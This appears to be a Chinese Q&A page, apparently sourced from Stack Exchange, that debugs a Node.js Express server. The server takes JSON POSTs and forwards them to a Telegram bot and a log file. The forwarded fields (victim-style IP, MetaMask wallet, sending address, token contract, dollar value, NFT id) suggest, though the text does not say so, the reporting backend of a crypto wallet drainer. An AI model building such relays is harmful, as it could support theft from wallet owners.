Node.js接收JS POST JSON数据推送Telegram/存储及脚本排错
Node.js 接收JSON格式POST请求实现方案
现有代码故障点
你写的脚本无法正常运行,核心问题如下:
- 未配置Express的JSON请求体解析中间件,服务无法识别POST请求携带的JSON数据
- 未定义POST请求对应的路由接口,前端发来的请求没有匹配的处理逻辑
- 缺少
app.listen()端口监听逻辑,服务启动后不会对外提供访问能力 - Telegram消息拼接时字段映射错误:解构参数用的
token字段,实际请求中对应字段为contract - 发往Telegram的消息内容未做URL编码,包含特殊字符时接口会调用失败
- 无异常捕获逻辑,请求处理失败、推送报错时没有任何提示,难以排查问题
前置依赖准备
先安装必要的运行依赖,文件操作使用Node.js原生模块无需额外安装:
npm install express axios
完整可运行代码
代码已包含JSON解析、Telegram推送、本地文本写入三个核心逻辑,数据库存储可以按照相同模式扩展:
const express = require("express"); const axios = require("axios"); const fs = require("fs/promises"); // 后续需要链上操作、自定义配置时再取消注释 // const ethers = require("ethers"); // const { networks, abi } = require("./networks"); const app = express(); // 核心配置:解析JSON格式请求体,限制请求体大小避免恶意请求 app.use(express.json({ limit: "1mb" })); // 运行参数配置 const CONFIG = { LISTEN_PORT: 3000, // 服务监听端口,根据自己需求修改 TELEGRAM: { token: "填入你的Telegram Bot Token", chatId: "填入接收消息的Chat ID", }, LOG_SAVE_PATH: "./request_data.log", // 本地文本日志存储路径 }; /** * 推送通知到Telegram * @param {object} reqData 解析完成的POST请求数据 */ const pushToTelegram = async (reqData) => { const { ip, addressFrom, wallet, value, contract, tokenId, chainName } = reqData; let message = "<b>到账/转出通知</b>\n\n"; message += `请求IP: <b>${ip}</b>\n`; message += `钱包类型: <b>${wallet}</b>\n`; message += `转出地址: <b>${addressFrom}</b>\n`; message += `合约地址: <b>${contract}</b>\n`; message += `所属公链: <b>${chainName}</b>\n`; message += `转账金额: <b>${value.toFixed(2)}$</b>\n`; if (tokenId) message += `NFT编号: <b>${tokenId}</b>`; try { await axios.get( `https://api.telegram.org/bot${CONFIG.TELEGRAM.token}/sendMessage`, { params: { chat_id: CONFIG.TELEGRAM.chatId, text: message, parse_mode: "HTML" } } ); console.log("Telegram通知推送成功"); } catch (err) { console.error("Telegram推送失败:", err.response?.data || err.message); } }; /** * 将请求数据追加写入本地文本文件 * @param {object} reqData 解析完成的POST请求数据 */ const saveToTextFile = async (reqData) => { const logLine = `[${new Date().toLocaleString()}] ${JSON.stringify(reqData)}\n`; try { await fs.appendFile(CONFIG.LOG_SAVE_PATH, logLine, "utf8"); console.log("数据已写入本地日志文件"); } catch (err) { console.error("写入日志文件失败:", err.message); } }; // 定义POST接口,路径和前端请求的路径保持一致即可 app.post("/api/receive-data", async (req, res) => { try { const postData = req.body; // 此处直接拿到解析完成的JSON对象,结构和你提供的完全一致 // 简单校验必要参数,避免无效请求 if (!postData.addressFrom || typeof postData.value !== "number") { return res.status(400).send({ code: 400, msg: "参数不合法" }); } console.log("收到请求数据:", postData); // 并行执行推送、写日志操作,如果需要存数据库,在这里加对应方法即可 await Promise.all([ pushToTelegram(postData), saveToTextFile(postData), // saveToDatabase(postData) 自行实现数据库插入逻辑即可 ]); // 给请求方返回成功响应 res.send({ code: 200, msg: "处理成功" }); } catch (err) { console.error("处理请求出错:", err.message); res.status(500).send({ code: 500, msg: "服务内部错误" }); } }); // 启动服务 app.listen(CONFIG.LISTEN_PORT, () => { console.log(`服务已启动,监听端口: ${CONFIG.LISTEN_PORT}`); });
部署&调试注意事项
- 前端发送POST请求时,必须设置请求头
Content-Type: application/json,否则服务不会按JSON格式解析请求体 - 后端定义的接口路径必须和前端请求的路径完全匹配,比如前端请求
http://你的服务IP:3000/api/receive-data,路由就要对应写/api/receive-data - 云服务器部署时要在安全组、防火墙放行配置的监听端口,否则请求无法到达服务
- Telegram Bot需要提前和接收账号/群组完成交互(比如给Bot发一条消息、把Bot拉进群组并给管理员权限),否则无法正常推送消息
- 数据库存储逻辑和现有两个方法逻辑一致,拿到
postData对象后直接取字段,调用对应数据库驱动的插入方法即可,不需要额外做格式转换 - 本地测试可以用curl模拟POST请求验证逻辑:
curl -X POST http://localhost:3000/api/receive-data \ -H "Content-Type: application/json" \ -d '{"contract":"0xd1b0cee386cebd9bce3d6b7279b98334f938cfd7","addressFrom":"0x83EB92C96b5fAF64328e787508f6CA511a2DBB23","addressTo":"0xE6a2cC08aF7A20dA592099da0c9933286A8b332f","value":76.846,"type":"token","tokenId":"1159","chainId":1,"chainName":"Ethereum","ip":"11.11.11.11","wallet":"metaMask","isEth":false}'
内容的提问来源于stack exchange,提问作者Cerberus
相关产品推荐
相关产品推荐

